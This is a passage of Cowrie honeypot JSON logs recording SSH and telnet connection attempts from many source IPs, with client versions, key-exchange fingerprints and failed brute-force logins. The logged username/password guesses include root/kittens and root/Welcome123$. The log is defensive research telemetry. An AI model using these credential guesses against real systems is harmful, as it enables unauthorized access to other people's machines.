mac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:19.184445Z","src_ip":"101.47.159.125","session":"6f44dd5eb5ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cat123","message":"login attempt [root/cat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:20.168134Z","src_ip":"101.47.159.125","session":"6f44dd5eb5ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:21.409068Z","src_ip":"101.47.159.125","session":"6f44dd5eb5ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":41330,"dst_ip":"159.203.135.109","dst_port":22,"session":"dad54f293129","protocol":"ssh","message":"New connection: 92.113.145.209:41330 (159.203.135.109:22) [session: dad54f293129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:25.892489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:25.896294Z","src_ip":"92.113.145.209","session":"dad54f293129","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:26.006018Z","src_ip":"92.113.145.209","session":"dad54f293129","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sk","password":"sk","message":"login attempt [sk/sk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:26.470772Z","src_ip":"92.113.145.209","session":"dad54f293129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:27.581376Z","src_ip":"92.113.145.209","session":"dad54f293129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":38538,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6a6925652c3","protocol":"ssh","message":"New connection: 103.27.238.116:38538 (159.203.135.109:22) [session: c6a6925652c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:36.910047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:36.914401Z","src_ip":"103.27.238.116","session":"c6a6925652c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:37.173800Z","src_ip":"103.27.238.116","session":"c6a6925652c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kittens","message":"login attempt [root/kittens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:37.956613Z","src_ip":"103.27.238.116","session":"c6a6925652c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:39.219456Z","src_ip":"103.27.238.116","session":"c6a6925652c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":49012,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1356c1f0885","protocol":"ssh","message":"New connection: 217.168.240.63:49012 (159.203.135.109:22) [session: e1356c1f0885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:46.462630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:46.467310Z","src_ip":"217.168.240.63","session":"e1356c1f0885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:46.600716Z","src_ip":"217.168.240.63","session":"e1356c1f0885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"237723","message":"login attempt [root/237723] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:47.170113Z","src_ip":"217.168.240.63","session":"e1356c1f0885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:48.308032Z","src_ip":"217.168.240.63","session":"e1356c1f0885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1403,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b765e34086a","protocol":"ssh","message":"New connection: 102.88.137.80:1403 (10.17.0.5:22) [session: 4b765e34086a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:01.874728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:01.879267Z","src_ip":"102.88.137.80","session":"4b765e34086a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":59812,"dst_ip":"10.17.0.5","dst_port":22,"session":"99b021b503e6","protocol":"ssh","message":"New connection: 5.89.75.194:59812 (10.17.0.5:22) [session: 99b021b503e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:02.018381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:02.025071Z","src_ip":"5.89.75.194","session":"99b021b503e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:02.062918Z","src_ip":"102.88.137.80","session":"4b765e34086a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:02.131193Z","src_ip":"5.89.75.194","session":"99b021b503e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jason","password":"jason@123","message":"login attempt [jason/jason@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:02.572201Z","src_ip":"5.89.75.194","session":"99b021b503e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"we123456.","message":"login attempt [root/we123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:02.830929Z","src_ip":"102.88.137.80","session":"4b765e34086a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:03.686417Z","src_ip":"5.89.75.194","session":"99b021b503e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:04.023216Z","src_ip":"102.88.137.80","session":"4b765e34086a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45024,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5c36e4a24f3","protocol":"telnet","message":"New connection: 128.199.8.54:45024 (159.203.135.109:23) [session: f5c36e4a24f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:05.284426Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":42916,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8179e0f6f43","protocol":"ssh","message":"New connection: 27.71.230.31:42916 (10.17.0.5:22) [session: e8179e0f6f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:06.794861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:06.896312Z","src_ip":"27.71.230.31","session":"e8179e0f6f43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:07.173419Z","src_ip":"27.71.230.31","session":"e8179e0f6f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48566,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cf16659f791","protocol":"telnet","message":"New connection: 128.199.8.54:48566 (159.203.135.109:23) [session: 3cf16659f791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:11.548522Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123$","message":"login attempt [root/Welcome123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:13.870750Z","src_ip":"27.71.230.31","session":"e8179e0f6f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":54246,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e6374add07a","protocol":"ssh","message":"New connection: 189.203.163.10:54246 (10.17.0.5:22) [session: 2e6374add07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:14.667978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:14.673959Z","src_ip":"189.203.163.10","session":"2e6374add07a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:14.736432Z","src_ip":"189.203.163.10","session":"2e6374add07a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"communicator","password":"communicator","message":"login attempt [communicator/communicator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:15.018395Z","src_ip":"189.203.163.10","session":"2e6374add07a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:15.256280Z","src_ip":"27.71.230.31","session":"e8179e0f6f43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:16.093140Z","src_ip":"189.203.163.10","session":"2e6374add07a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55408,"dst_ip":"159.203.135.109","dst_port":22,"session":"d877e07fdd52","protocol":"ssh","message":"New connection: 51.250.105.222:55408 (159.203.135.109:22) [session: d877e07fdd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:41.194829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:41.198919Z","src_ip":"51.250.105.222","session":"d877e07fdd52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:41.329316Z","src_ip":"51.250.105.222","session":"d877e07fdd52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:41.724395Z","src_ip":"51.250.105.222","session":"d877e07fdd52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:07:42.861105Z","src_ip":"51.250.105.222","session":"d877e07fdd52","protocol":"ssh"}
